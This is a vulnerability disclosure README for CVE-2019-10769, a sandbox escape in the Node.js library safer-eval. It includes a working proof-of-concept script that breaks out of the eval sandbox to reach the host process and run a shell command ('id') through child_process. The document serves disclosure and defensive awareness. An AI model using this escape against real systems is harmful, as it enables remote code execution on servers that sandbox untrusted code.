CVE-2019-10769-README.md

Safer-Eval Sandbox Escape POC

safer-eval is a node JS library that supposedly provides a 'safe' way to 'eval' untrusted javascript.

As the maintainer warns in the README:

Warning: The saferEval function may be harmful - so you are warned!

However, it is still used by various libraries to parse/execute untrusted code in such a way that there is an implied execution sandbox.

Bypass

The bypass provide here was originally reported to the project vm2 by @XmiliaH in an issue here.

Bypass Implications

• Remote Code Execution
• Cross Site Scripting

Resources

• GitHub Security Advisory
• Snyk Advisory
• NVD CVE-2019-10769
• Tweet

Fix

There will be no fix for this vulnerability. Please consider using a different library.

safer-eval-bypass.js

const theFunction = function () {
  const f = Buffer.prototype.write;
  const ft = {
    length: 10,
    utf8Write(){

    }
  };
  function r(i){
    var x = 0;
    try{
      x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
      return x;
    if(x!==i)
      return x+1;
    try{
      f.call(ft);
    }catch(e){
      return e;
    }
    return null;
  }
  var i=1;
  while(1){
    try{
      i=r(i).constructor.constructor("return process")();
      break;
    }catch(x){
      i++;
    }
  }
  return i.mainModule.require("child_process").execSync("id").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

@XmiliaH has provided an even simpler breakout POC here: commenthol/safer-eval#10